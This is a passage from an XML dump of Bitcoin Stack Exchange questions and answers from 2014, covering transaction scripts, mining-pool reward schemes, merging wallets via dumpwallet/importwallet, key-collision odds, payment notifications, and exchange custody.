03e1cc71fe608be3fa01247476d6fbb758c14af7fa269b151e202f4a2e5a530022&quot;,&#xA;        &quot;hex&quot;: &quot;47304402205474316eb33e1c61e4fa099a0a99d9448e0ffa380b1da8d894e0101fd0eecf7e02206b4bd7498894eb626b1ab1945ddff720b240e8d992e756ff9711a7390951d8a5012103e1cc71fe608be3fa01247476d6fbb758c14af7fa269b151e202f4a2e5a530022&quot;&#xA;      },&#xA;      &quot;sequence&quot;: 4294967295&#xA;    }&#xA;  ],&#xA;  &quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 1.3491183,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 9aa813b6983a609ebb5992408457dbb814824124 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9149aa813b6983a609ebb5992408457dbb81482412488ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FKvrsYB5dR2xSW1ujUXq7RLdiUxoZHEH58&quot;&#xA;        ]&#xA;      }&#xA;    },&#xA;    {&#xA;      &quot;value&quot;: 1.59661273,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 3ea405431679a7d51fb5da6106cb91f4a1d066ec OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9143ea405431679a7d51fb5da6106cb91f4a1d066ec88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FBYKr3SGVWMrbHngSGVua1LiCN2GYQV8Lp&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Transaction got one input:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &quot;vin&quot;: [&#xA;        {&#xA;          &quot;txid&quot;: &quot;8094704e00978c58f3d51d6c44b460af6c04dac86ef1b79c202208e5c65d0a50&quot;,&#xA;          &quot;vout&quot;: 0,&#xA;          &quot;scriptSig&quot;: {&#xA;            &quot;asm&quot;: &quot;304402205474316eb33e1c61e4fa099a0a99d9448e0ffa380b1da8d894e0101fd0eecf7e02206b4bd7498894eb626b1ab1945ddff720b240e8d992e756ff9711a7390951d8a501 03e1cc71fe608be3fa01247476d6fbb758c14af7fa269b151e202f4a2e5a530022&quot;,&#xA;            &quot;hex&quot;: &quot;47304402205474316eb33e1c61e4fa099a0a99d9448e0ffa380b1da8d894e0101fd0eecf7e02206b4bd7498894eb626b1ab1945ddff720b240e8d992e756ff9711a7390951d8a5012103e1cc71fe608be3fa01247476d6fbb758c14af7fa269b151e202f4a2e5a530022&quot;&#xA;          },&#xA;          &quot;sequence&quot;: 4294967295&#xA;        }&#xA;      ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This input is refering to an output from a previous transaction:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;txid&quot;: &quot;8094704e00978c58f3d51d6c44b460af6c04dac86ef1b79c202208e5c65d0a50&quot;&#xA;&quot;vout&quot;: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the point where you get your scriptPubKey from. &lt;a href=&quot;http://florinexchange.com/explorer/tx/?txid=8094704e00978c58f3d51d6c44b460af6c04dac86ef1b79c202208e5c65d0a50&quot; rel=&quot;nofollow&quot;&gt;Input&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 3.04573103,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 a0207d9ea622db7f63b70223ba4dea67c260a91b OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a914a0207d9ea622db7f63b70223ba4dea67c260a91b88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FLRnVzFCvGbKEpbjsFBSRejBHEcpbKScAe&quot;&#xA;        ]&#xA;      }&#xA;    },&#xA;    {&#xA;      &quot;value&quot;: 29.93357942,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 5eecec983a2105c049b4d1c1a43287ee07bd075f OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9145eecec983a2105c049b4d1c1a43287ee07bd075f88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FEV2oce6qUAq9zYfJeBMVZTk6qeJfvkQ7n&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are two outputs. The right one is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;n&quot;: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;because the reference was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vout&quot;: 0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is the Script you need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;asm&quot;: &quot;OP_DUP OP_HASH160 a0207d9ea622db7f63b70223ba4dea67c260a91b OP_EQUALVERIFY OP_CHECKSIG&quot;&#xA;&quot;hex&quot;: &quot;76a914a0207d9ea622db7f63b70223ba4dea67c260a91b88ac&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Back to your original Transaction and its outputs:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;vout&quot;: [&#xA;    {&#xA;      &quot;value&quot;: 1.3491183,&#xA;      &quot;n&quot;: 0,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 9aa813b6983a609ebb5992408457dbb814824124 OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9149aa813b6983a609ebb5992408457dbb81482412488ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FKvrsYB5dR2xSW1ujUXq7RLdiUxoZHEH58&quot;&#xA;        ]&#xA;      }&#xA;    },&#xA;    {&#xA;      &quot;value&quot;: 1.59661273,&#xA;      &quot;n&quot;: 1,&#xA;      &quot;scriptPubKey&quot;: {&#xA;        &quot;asm&quot;: &quot;OP_DUP OP_HASH160 3ea405431679a7d51fb5da6106cb91f4a1d066ec OP_EQUALVERIFY OP_CHECKSIG&quot;,&#xA;        &quot;hex&quot;: &quot;76a9143ea405431679a7d51fb5da6106cb91f4a1d066ec88ac&quot;,&#xA;        &quot;reqSigs&quot;: 1,&#xA;        &quot;type&quot;: &quot;pubkeyhash&quot;,&#xA;        &quot;addresses&quot;: [&#xA;          &quot;FBYKr3SGVWMrbHngSGVua1LiCN2GYQV8Lp&quot;&#xA;        ]&#xA;      }&#xA;    }&#xA;  ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Those are not needed for checking the inputs of your transaction. They will be needed for the next Transaction spending your coins from this transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I dont confuse you, and if i did we can propably use &lt;a href=&quot;http://chat.stackexchange.com/&quot;&gt;chat&lt;/a&gt; or so.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-08T11:44:46.793" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="25843" PostTypeId="2" ParentId="25817" CreationDate="2014-06-08T14:53:07.113" Score="0" Body="&lt;p&gt;This thought suddenly hits me. Assigning a distinct &lt;strong&gt;account&lt;/strong&gt; to every single customer &lt;em&gt;automatically mitigate&lt;/em&gt; my problem:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With &lt;strong&gt;accounts&lt;/strong&gt; in place, if a customer tries to withdraw (by calling &lt;strong&gt;sendfrom&lt;/strong&gt;) more coins than the balance in his/her account &lt;em&gt;plus any amount of transaction fee&lt;/em&gt;, that withdrawal attempt simply fails.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Such transaction failures are annoying to customers though. This is also annoying as customers are very unlikely to be able to close their accounts by withdrawing &lt;em&gt;all&lt;/em&gt; their coins they own since they can not predict the exact transaction fees that will occur to their &lt;em&gt;final&lt;/em&gt; withdrawal.&lt;/p&gt;&#xA;" OwnerUserId="17118" LastEditorUserId="17118" LastEditDate="2014-06-08T15:33:51.767" LastActivityDate="2014-06-08T15:33:51.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="25845" PostTypeId="2" ParentId="25838" CreationDate="2014-06-08T16:16:57.020" Score="2" Body="&lt;p&gt;Use www.webbtc.com&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It has a feature to execute scripts step-by-step&lt;/p&gt;&#xA;&#xA;&lt;p&gt;for example &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webbtc.com/script/b8eccf259d051b75f1e5c0f524b125dea0575cce2cca2db16790506d39001961:0&quot; rel=&quot;nofollow&quot;&gt;http://webbtc.com/script/b8eccf259d051b75f1e5c0f524b125dea0575cce2cca2db16790506d39001961:0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-06-08T16:16:57.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26843" PostTypeId="1" AcceptedAnswerId="26852" CreationDate="2014-06-08T21:27:57.157" Score="0" ViewCount="300" Body="&lt;p&gt;I have a simple question. Suppose that I sign up with some cloud mining service. I would like to know a bit more about how the system works. Let's say that the cloud mining service I use has n users, N = 1,...,n}, each user i contributing w_i&gt; 0 CPU cycles to creating the block. In order to complete a block, T cycles are needed (this is a simplification, I assume that the number of cycles needed is a random variable; however, you can reasonably talk about the expected number of cycles). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;We managed to create the block and got a reward R for it (R = 0 is reasonable, that just means that resources were committed, but we failed at getting the block).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is R shared? Is it proportional to the number of cycles? Is it just equal division? Is there a more clever method involved? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bonus question: what is normally the ratio between the amount of work invested and the actual work needed? Is it the case that the number of cycles committed is much greater than the number of cycles needed? Is there even a need to commit cycles, or is it the case that once a block is done, the pool moves on to mining another block? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to find an answer online, on the websites of the big cloud mining companies, but all they offer are promises of revenue, rather than an explanation of the revenue division mechanism.&lt;/p&gt;&#xA;" OwnerUserId="18134" LastEditorUserId="120" LastEditDate="2016-04-10T15:33:54.040" LastActivityDate="2016-04-10T15:33:54.040" Title="How do Cloud Mining Websites Divide Profits?" Tags="|mining-pools|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26844" PostTypeId="1" CreationDate="2014-06-08T22:42:23.263" Score="1" ViewCount="2081" Body="&lt;p&gt;I know about pywallet, about this &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/220&quot; rel=&quot;nofollow&quot;&gt;modification&lt;/a&gt; for bitcoind, but what is a simple way to merge two wallets, or export a list of private keys and addresses of all of wallets from litecoin, dogecoin, bitcoin, quark, et cetera?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="18135" LastEditorUserId="2306" LastEditDate="2014-09-07T16:44:58.833" LastActivityDate="2014-09-07T16:44:58.833" Title="How to merge two wallet.dat files" Tags="|wallet.dat|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26845" PostTypeId="1" CreationDate="2014-06-08T23:36:01.393" Score="1" ViewCount="655" Body="&lt;p&gt;Is it possible to be profitable by developing a collision application that continually and automatically generate a key pair, check for the existence of the public address in the block chain, and then extract any funds that are found on matching key pairs?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not asking because I want to do this, rather I want to understand what mitigates this threat vector.  I understand the total number of key pairs is massive, but it seems like someone could build a collision farm to hammer out key pairs.&lt;/p&gt;&#xA;" OwnerUserId="16899" LastEditorUserId="5406" LastEditDate="2016-03-14T20:40:18.557" LastActivityDate="2016-03-14T20:40:18.557" Title="How likely are key pair collision attacks?" Tags="|security|key-collision|" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-10T07:47:27.367" ContentLicense="CC BY-SA 3.0" />
  <row Id="26848" PostTypeId="1" AcceptedAnswerId="26850" CreationDate="2014-06-09T03:57:56.797" Score="3" ViewCount="305" Body="&lt;p&gt;Do Ripple servers use RDBMS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, which one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think I remember reading that Bitcoin uses some sort of file database.  Same for Ripple?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastActivityDate="2014-06-09T04:37:01.423" Title="Does Ripple use an RDBMS? If so, which one?" Tags="|ripple|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26849" PostTypeId="2" ParentId="25831" CreationDate="2014-06-09T03:59:44.457" Score="2" Body="&lt;p&gt;You can follow the discussions at &lt;a href=&quot;http://cryptocurrencylive.com/item?id=9128&quot; rel=&quot;nofollow&quot;&gt;How To Clone Scrypt Based Altcoins for Fun and Profit&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Direct Link:&#xA;&lt;a href=&quot;https://docs.google.com/file/d/0B82OOXRXzyeaaVVCeXByZ2JnR1U/edit?pli=1&quot; rel=&quot;nofollow&quot;&gt;How To Clone Scrypt Based Altcoins for Fun and Profit ?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="10824" LastEditorUserId="10824" LastEditDate="2014-06-09T04:08:45.433" LastActivityDate="2014-06-09T04:08:45.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26850" PostTypeId="2" ParentId="26848" CreationDate="2014-06-09T04:37:01.423" Score="4" Body="&lt;p&gt;The ripple server uses SQLite for structured data and a configurable &quot;back end&quot; for unstructured &quot;bulk&quot; storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The structured data consists of things like transactions indexed by which accounts they affected. The unstructured data consists of &quot;chunks&quot; of data indexed by hash that constitute portions of network history.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The preferred back end for bulk storage is currently RocksDB on Linux platforms.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-09T04:37:01.423" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26851" PostTypeId="2" ParentId="26845" CreationDate="2014-06-09T04:38:54.353" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;I am not asking because I want to do this, rather I want to understand what mitigates this threat vector. I understand the total number of key pairs is massive, but it seems like someone could build a collision farm to hammer out key pairs.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Someone could, but because the total number of key pairs is massive, there would be no point. They could instead build a mining farm or put their money in interest bearing securities and have a probability of making a profit several trillion times higher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's look at the probability of them making at least a single Bitcoin. At most, 21 million accounts can contain one Bitcoin or more. So they have to find one of 21 million key hashes out of 2^160 possible hashes. Let's assume their farm includes a billion cores, each of which can try 2 billion keys per second. In one hundred years, their probability of success would be approximately one in a ten billion billion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a one in ten billion billion chance of making one bitcoin in a hundred years, they'd need a billion cores, each of which is trying two billion keys per second. Seems like they'd find something else to do with their time, doesn't it?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-06-09T13:35:50.883" LastActivityDate="2014-06-09T13:35:50.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26852" PostTypeId="2" ParentId="26843" CreationDate="2014-06-09T04:44:30.773" Score="0" Body="&lt;p&gt;There are many different reward schemes used. One thing almost all of them have in common is that they base the rewards on &quot;shares&quot;. Each miner earns one or more shares by producing hashes that are sufficiently low. Essentially, miners prove they're actually trying to find blocks by providing a sample of their best attempts to the mining controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reward schemes generally try to do two things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;They try to even out the reward so that miners have less variation in the rewards they get if they mine at a constant rate.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;They try to prevent people from strategically joining or leaving different mining pools to prevent schemes that give miners more than their fair share.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The simplest scheme is called PPS (&lt;b&gt;p&lt;/b&gt;ay &lt;b&gt;p&lt;/b&gt;er &lt;b&gt;s&lt;/b&gt;hare). With PPS, each share earns a fixed reward, regardless of how well or badly the pool as a whole does. This provides the least variation to miners, but gives the pool operator the most risk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the most common sharing mechanisms is called PPLNS (&lt;b&gt;p&lt;/b&gt;ay &lt;b&gt;p&lt;/b&gt;er &lt;b&gt;l&lt;/b&gt;ast &lt;b&gt;N&lt;/b&gt; &lt;b&gt;s&lt;/b&gt;hares). With PPLNS, when a block is found, the reward is divided among those who earned the most recent shares, proportional to the number of shares each miner found during that window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other schemes can get fairly complex.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-06-09T04:44:30.773" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26854" PostTypeId="2" ParentId="25763" CreationDate="2014-06-09T08:30:07.033" Score="3" Body="&lt;p&gt;Use Bitcoin Core in server mode and use it's notification functions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;server=1&#xA;blocknotify = curl\yoururl&#xA;walletnotify = curl\yoururl&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Set them up to make a call to your app.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This way, you won't be making expensive RPC calls to Bitcoin Core. You will only be receiving notifications for operations  that Bitcoin Core itself already is making. So you won't bring any extra load to Bitcoin Core. You will be limited by it's own scalability.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;how &quot;big players&quot; like Cryptsy do receive payments?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Most big players are relying on Bitcoin Core's scalability running in server mode without bringing extra load to it as far as I know.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;But I heard that it is possible to change transaction id in block&#xA;  chain, so is such solution safe?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Not after they have received a confirmation. So the method you described works if you wait for the blocknotify call for a TX before you update your users balance.&lt;/p&gt;&#xA;" OwnerUserId="2995" LastEditorUserId="2995" LastEditDate="2014-06-09T08:42:43.107" LastActivityDate="2014-06-09T08:42:43.107" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26855" PostTypeId="1" CreationDate="2014-06-09T09:02:45.117" Score="0" ViewCount="117" Body="&lt;p&gt;&lt;a href=&quot;https://en.bitcoin.it/wiki/Difficulty&quot; rel=&quot;nofollow&quot;&gt;Bitcoin Wiki (Difficulty)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The highest possible target (difficulty 1) is defined as 0x1d00ffff,&#xA;  which gives us a hex target of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000FFFF0000000000000000000000000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;It should be noted that pooled mining often uses non-truncated&#xA;  targets, which puts &quot;pool difficulty 1&quot; at&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x00000000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;From what I know, using non-truncated targets puts the &lt;a href=&quot;https://en.bitcoin.it/wiki/Target&quot; rel=&quot;nofollow&quot;&gt;target&lt;/a&gt; at a higher number than the network would accept. In other words, we may end up finding a hash accepted by the &quot;pooled mining&quot; (lower than non-truncated), yet rejected by the network (higher than truncated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why do people use non-truncated mining targets?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why not simply use the actual truncated targets so that we can have a more accurate picture of the network and avoid &lt;em&gt;overheads&lt;/em&gt; incurred as such?&lt;/p&gt;&#xA;" OwnerUserId="1475" LastEditorUserId="1475" LastEditDate="2014-06-11T21:43:34.593" LastActivityDate="2014-06-11T21:43:34.593" Title="What's the advantage of using non-truncated mining targets?" Tags="|protocol|difficulty|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26856" PostTypeId="1" CreationDate="2014-06-09T10:00:36.563" Score="0" ViewCount="6638" Body="&lt;p&gt;I have over 10,000 shares accepted.  How does that translate to bitcoin?  How much bitcoin is 10,000 shares?  It says it will transfer to my wallet when I get .01 bitcoin.  But so far, nothing in my wallet.&lt;/p&gt;&#xA;" OwnerUserId="18143" LastEditorUserId="5406" LastEditDate="2016-04-10T10:11:19.107" LastActivityDate="2016-04-10T10:11:19.107" Title="I have over 10,000 shares accepted. How can I find out how much bitcoin that is?" Tags="|mining-pool-shares|" AnswerCount="2" CommentCount="1" ClosedDate="2014-06-17T11:00:34.243" ContentLicense="CC BY-SA 3.0" />
  <row Id="26857" PostTypeId="2" ParentId="26856" CreationDate="2014-06-09T10:02:32.957" Score="0" Body="&lt;p&gt;Shares are no currency. Only if the pool you are mining for is actually finding a block you will be partial rewarded in dependence of how many share the other miners have send.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every block rewards &lt;code&gt;25&lt;/code&gt; BTC&lt;br&gt;&#xA;You got &lt;code&gt;20_000&lt;/code&gt; shares&lt;br&gt;&#xA;All other miners together done &lt;code&gt;1_000_000&lt;/code&gt; shares (they will have more for sure)&lt;br&gt;&lt;br&gt;&#xA;Then you have this formula:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Your-Shares / All-Shares * Block-Reward&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;20_000 / 1_020_000 * 25 = 0,49 BTC&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would be your reward but the pool vendor will take off some fees from that as well.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastEditorUserId="17113" LastEditDate="2014-06-09T10:19:31.180" LastActivityDate="2014-06-09T10:19:31.180" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26858" PostTypeId="1" AcceptedAnswerId="26859" CreationDate="2014-06-09T11:52:15.703" Score="-1" ViewCount="70" Body="&lt;p&gt;Firstly, I acknowledge that there is no official bitcoin price and it is market determined, but I have seen various websites quote the current price of bitcoin and so on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past my bitcoin wallet told me the price of a coin making reference to MtGox's index.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that MtGox is gone, what are the most reliable resources to obtain both present and past bitcoin prices?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or are there some credible exchanges that I can use as a reference to compare less credible sellers with?&lt;/p&gt;&#xA;" OwnerUserId="12594" LastEditorUserId="12594" LastEditDate="2014-06-09T11:57:47.243" LastActivityDate="2014-06-09T12:53:42.130" Title="With MtGox gone, how can I know the current price of a bitcoin?" Tags="|exchange-rate|" AnswerCount="1" CommentCount="1" ClosedDate="2014-06-17T11:00:23.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="26859" PostTypeId="2" ParentId="26858" CreationDate="2014-06-09T12:18:43.100" Score="1" Body="&lt;p&gt;I think one of the most accurate is the &lt;a href=&quot;http://www.coindesk.com/price/&quot; rel=&quot;nofollow&quot;&gt;coindesk bitcoin price index&lt;/a&gt;.&#xA;It is a mean volume weighted between major exchanges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&#xA;It isn't volume weighted, it's a simple average. For more information read &lt;a href=&quot;http://www.coindesk.com/price/bitcoin-price-index/&quot; rel=&quot;nofollow&quot;&gt;source&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6693" LastEditorUserId="6693" LastEditDate="2014-06-09T12:53:42.130" LastActivityDate="2014-06-09T12:53:42.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26860" PostTypeId="2" ParentId="26844" CreationDate="2014-06-09T14:36:35.910" Score="5" Body="&lt;p&gt;Latest versions of the reference Bitcoin implementation have the 'dumpwallet' RPC command, which dumps a human-readable list of all of your private keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The format is simple: just comment-lines (starting with #) or lines that are the private key (plus metadata about the key). So to combine keys from several wallets you would:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Re-run bitcoind/Bitcoin-Qt, giving the -wallet=/path/to/wallet option&lt;/li&gt;&#xA;&lt;li&gt;dumpwallet the private keys to a file (walletpassphrase first if the wallet has a passphrase)&lt;/li&gt;&#xA;&lt;li&gt;Shutdown&lt;/li&gt;&#xA;&lt;li&gt;concatenate the files together&lt;/li&gt;&#xA;&lt;li&gt;Re-run and importwallet the combined file&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The last step will take a while as the blockchain is scanned for transactions to/from the imported private keys (concatenating several wallet keys together in step 3 saves time over repeatedly dumping/importing).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A php or python or bash script that did all of the starting/stopping/concatenating either using the JSON/RPC interface or bitcoin-cli would be spiffy. Extra credit if it noticed which wallets were locked and prompted for passphrases....&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2014-06-09T14:36:35.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26861" PostTypeId="1" CreationDate="2014-06-09T15:40:19.783" Score="1" ViewCount="1513" Body="&lt;p&gt;Apparently Coinbase handles the private keys for your wallet which allows them to easily handle buying and selling.  &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;As Coinbase is a hosted wallet, we do not provide users with their private keys; doing so would prevent us from taking advantage of our secure cold-storage technology to protect your bitcoin funds.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Isn't this exactly what Mt Gox did before it was compromised?&lt;/p&gt;&#xA;" OwnerUserId="16899" LastActivityDate="2014-06-09T16:57:37.227" Title="How is Coinbase any different than Mt Gox?" Tags="|security|mtgox|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26867" PostTypeId="2" ParentId="26855" CreationDate="2014-06-09T16:22:24.967" Score="1" Body="&lt;p&gt;You are right, it could happen you are finding a hash that meets the pool target but not the highest possible target. But because the difficulty is way higher than one, and therefore the share wouldnt finish the block anyway, its not in their interest. You have done your work and you will get your share. They just make it a bit easier for you, by passing a higher target than possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possible reason:&#xA;Comparing a hash to the highest possible target would take more time, because you have to check the whole hash (checking the zeros at the end as well). With the non-truncated target you only need to check until the first F occures because than its at least equal or lower.&lt;/p&gt;&#xA;" OwnerUserId="17113" LastActivityDate="2014-06-09T16:22:24.967" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26868" PostTypeId="2" ParentId="26861" CreationDate="2014-06-09T16:51:01.053" Score="5" Body="&lt;p&gt;You're right that in this regard, Coinbase and Mt.Gox are similar: they control the private keys, and incompetence or malice on their part could result in the loss of your coins. One difference is that Coinbase doesn't keep a balance of USD (or other fiat) in your account, only bitcoins. The other major difference is that Coinbase has not (AFAIK) shown any signs of incompetence or malice jeopardizing your bitcoins stored there (these signs, I hear, were around for a long time before Mt.Gox finally died).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cold storage is a good thing when done correctly: it improves security and doesn't prevent instant bitcoin withdrawals (except in exceptional circumstances).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Still, personally, I will (long-term) store my bitcoins in a local client or my own cold storage, not an exchange or online wallet. There's still a real (maybe even higher!) chance of loss this way, but it'd be due to &lt;strong&gt;my&lt;/strong&gt; incompetence, not someone 